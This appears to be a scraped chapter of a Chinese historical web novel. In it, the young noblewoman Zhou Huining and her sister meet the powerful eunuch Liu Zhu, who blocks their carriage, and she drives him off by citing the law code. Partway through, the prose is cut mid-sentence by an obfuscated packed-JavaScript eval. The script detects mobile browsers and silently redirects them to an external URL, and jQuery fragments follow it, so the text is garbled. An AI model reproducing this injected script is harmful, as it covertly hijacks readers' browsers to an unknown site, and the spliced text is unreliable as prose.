袁僳与同伴们行礼告别,去见继母与年幼的阿妹。
阳侯府的大门在夕阳日暮里巍峨高耸,他身下的马蹄轻轻一顿。
袁僳记得,年少时阿娘与林夫人交好,他时常能收到留侯府那边送来的礼物,有些是林夫人送的,有些笔墨是二娘亲手制的。
他回赠了什么呢?袁僳不记得。但今日常恒街上的小插曲提醒他,他很久未见他的未婚妻了。
这个念头在袁僳脑海中勒出一个在书斋中静静研读、温柔恬静的少女形象,身下的马蹄遂调了个弯,向另一处的集市行去。
赶在宵禁之前,还来得及。
然而,当袁僳重新踏入家门时,却发现这份临时起意,却着实精心挑选的礼物,并没有被送出去。
“主君拦下了。”仆童低着头说。
阿爹拦下了,为什么?
两府疏淡,不过是出于阿爹的自尊心,和继母的小心思,却从未对自己有过任何限制。
袁僳知道不对,接过仆童手里的包裹,“知道了。”
越靠近正院,气氛便越凝重,路上的仆婢无不垂首。
出什么事了?袁僳脚步微微一顿,看见枯树旁有人冲自己轻轻招手。
“表兄先别进去,”吕殷兰红着眼眶将他拉到一边,“周小娘子与姑妈有些误会,如今两人闹翻了脸,姑父正在冲姑妈发火呢!”
“周小娘子,你是说,二娘?”袁僳怔住了。
听着正院里隐隐传来的呵斥声,他看向手中包裹,脑海里浮起那个捧着竹简的小女童。
那般万事不在意的人,如今……也会与人翻脸吗?
这份疑虑本可很快问个究竟,然而一辆青盖軿车恰在此时自皇城驶出。很快,天佑城风波骤起,袁僳无暇他顾,那点关于“翻脸”的揣测,便被暂且搁进了心底。
……
……
车轮碾碎道旁积雪,发出轻微嘎吱声。墨色马车内,暖炉散发着融融暖意,周会宁将一个白瓷手炉塞入周会容怀中,“不哭了,阿姊带你回家。”
周会容满心羞愤,哪肯领情,恨恨地偏过头去。
哼。
她精心谋划了一出“以幼谏长”,满心期待借此在京城扬名,成为这场婚事风波里最无辜且勇敢的小娘子。
可谁能想到呢,一句“过几日我亲自带你去寻那许七娘”,让她的如意算盘全盘皆输,那些原本满含钦佩的目光,刹那间消失得无影无踪,取而代之的是铺天盖地的嘲讽。
“阿姊闹婆母,阿妹当街哭。”
“天下乌鸦一般黑,同为一姓女,果进一家门。”
“……”
一句又一句的嘲讽戏谑顺着车帘的细缝钻进来,连同这数日来许七娘的羞辱,将周会容的心割得鲜血淋漓。她侧过头,只见周会宁白净的脸上安宁而自在,似乎这些日子发生的一切,都是世间无畏的纷扰。
哪有什么姊妹之情,周二娘分明就是看穿了自己的目的,故意借许七娘让自己难堪,成为那个当街哭的愚蠢小娘子。
可恨的是,自己还无法反驳。
车厢内陷入死寂,唯有墨色小马车的“哒哒”声,单调地在道路上回响。周会宁凝视着周会容睫毛尖上小小的泪珠,想要说点什么,却听周会容猛地开口,声音带着几分颤抖与不甘。
“周二娘,我不过是遭了你的池鱼之殃,想要自救而已。或许你此刻自鸣得意,但待你真的走入这天佑城之中,诸如许七娘之流的欺侮直唾于你面前,你还能如今日这般拿我取笑脱身吗?”
见周会宁不答,周会容面露讥讽,“今日是冬至了,阿爹仍未有消息传来。只怕我们留侯周氏,如今在旁人眼里,人人得以欺之了。即便是你,又怎能例外……”
马车猛地一震,周会容的诘问戛然而止。
“贵人恕罪!小人的柴筐绝无冲撞之意……”
“拖下去!”
车外,兵刃脱鞘声,奔跑声,尖叫告求声,尖利刺耳的呵斥声接连响起,瞬间交织成一把重锤,打破了傍晚的宁静。
是谁?!
天佑城中,竟有人如此猖狂。
暮色笼罩下,十二名玄甲军士整齐排开,朱红的仪仗簇拥着一辆青盖牛车,一张白虎符高悬车头。一位绯袍宦者慵懒地蜷于车上,雪白的发髻中夹杂着一绺乌黑,给其威正的面容添了几分诡谲之色。
十年前,一宦者替圣人饮了戚太后一杯毒酒。后来,他成为了黄门令,官为七品,却深得圣人信重,权势滔天。
刘柱,前世溪山林氏覆灭,亦有此人陷害之功。
周会宁掀开车帘,清澈的目光在看到刘柱瞬间,逐渐变得黝黑且微微颤抖。前世今生,这是她第一次直面此人。
原来他长这样。
想着前世那场冤案,她看着他雪白的发髻,将他的五官深深记下,声音却仍是懵懂的,“刘黄门不该拦我的马车。”
刘柱一哂,“听是周二娘子是个呆子,如今一见,果然有几分痴愚。”
“即便我有几分痴愚,刘黄门也不该拦我的车。”
依照规制,七品的黄门令,没有资格拦顶级士族女子的马车。
刘柱心头涌起一阵恼怒,果真是个呆子,才会如此不识时务,非要说一些聪明人不敢说的话。
他言语中也带上了浓浓的挖苦之意,“周二娘子今日去将军府,可得偿所愿了?”
这句话可能是随口一问,但也可能是一种试探。
周会宁的呼吸停了一瞬,心怦怦跳起来。
圣人注意到她了?
也是啊,周林两府在天佑城中有了这么大的闹剧,在意这门婚事的圣人,多少会收到消息的。
那么,刘柱出皇城的目的,或许便跟这件事有关联了。
但他们应该不知道她的目的。
“袁氏不讲道理,我同他们讲清楚了,但他们并不高兴。”她想着那沸沸扬扬的“三顾阳侯府”的传闻,认真说道。
“原来如此。”刘柱心想袁文韶果然不至于向一小娘子低头,他决定尽快去一趟阳侯府,但周会宁没有下令让车夫移开,是以马车依然拦在他的路上。
一个小娘子对上刘柱可不是什么好主
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544069|186704||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意。
哪怕她是萱堂先生最疼爱的小娘子,可留侯周氏如今的处境却不怎么好。
周会宁知道这些,但她不想给他让道。
她为什么要给仇人让道呢?
周会容惊得失了声,周会宁却倔强地抬起头。
他不敢逼她。
刘柱果然有些不耐,“周二娘子,仗着你的婚事,或许可以在这天佑城里横行,但我却不同。即便你有几分痴愚,也应该懂得奉圣人令出行,不可阻拦的道理。”
话音刚落,一片整齐的刀鞘叩地声瞬间响起。八个小黄门齐刷刷躬身,手中铜符相互撞击,发出清脆的叮当声响。雪亮的刀光瞬间逼近墨色小马车,寒意扑面而来。
……
……
“《齐律·舆服志》注载:刘黄门车驾所悬白虎符,许其宵禁后夜行,却无‘百官避道’之权。”
“此志乃我外曾祖父受太祖重托所撰,于太祖三年施行至今,我未曾听说有过其他版本。”
“莫非圣人案头未批的奏疏里,早有改律之议,却唯独刘黄门提前得知了?”
这是一场豪赌。
眼前是圣人的恶犬,他狐假虎威,背后依靠的是那高踞九重、正默默注视着她的皇权。他要让她一个小娘子难堪,实在是易如反掌。
但她不让。
心中有怒火,指尖有寒意,可小娘子的声音依然那般清越,透着不谙世事的天真,又好像有几分呆气。
然而,刘柱却愕然无语。
毕竟,无论如何,他也不能承认他替圣人改了律。
而私窥奏疏,更是死罪。
以刘柱的身份,如此客气地找一位十四余岁的小娘子问话,实在是很不可思议的事情。
他只是觉得,要知道将军府里发生了什么,一个传闻中的呆子总比袁文韶容易看透,同时,圣人对周会宁的批驳让他上了心。
谁知在萱堂先生的影响下,这个呆子的“呆”中夹杂了太多书卷笔墨,反而有点不易对付。
但也不是不能对付。
他面无表情地歪在车上,看着远远离去的墨色小马车。
如果那周小娘子能聪明一些,她应该知道,真正让他放走她的不是那区区两句呆言呆语,而是她身上溪山林氏的血脉,和圣人及他对她的谋划。
至于爵位、士族、宦官。
齐律·舆服志。
谁在乎呢?
车厢内,周会容脊背僵硬如石。传说中的权宦和眼前寒光闪闪的刀光,让她胆战心惊。她再次深切感受到父亲的噩耗,对留侯周氏的沉重打击。偌大的周氏,此刻竟如风中草芥般脆弱。
唯有自幼养成的骄傲,让她强撑着没有倒下。
“世上是有公道的。”她冰凉的手忽然被人握住,周会宁的声音里带着些许很难察觉的快意。“三娘,他只是吓一吓你,不能拦我的车,也不能要你的命。”
周会容回过神来,想起刚才那句——“刘黄门不该拦我的马车。”
简简单单一句话,竟硬生生逼退了连许多权贵都忌惮三分的刘柱。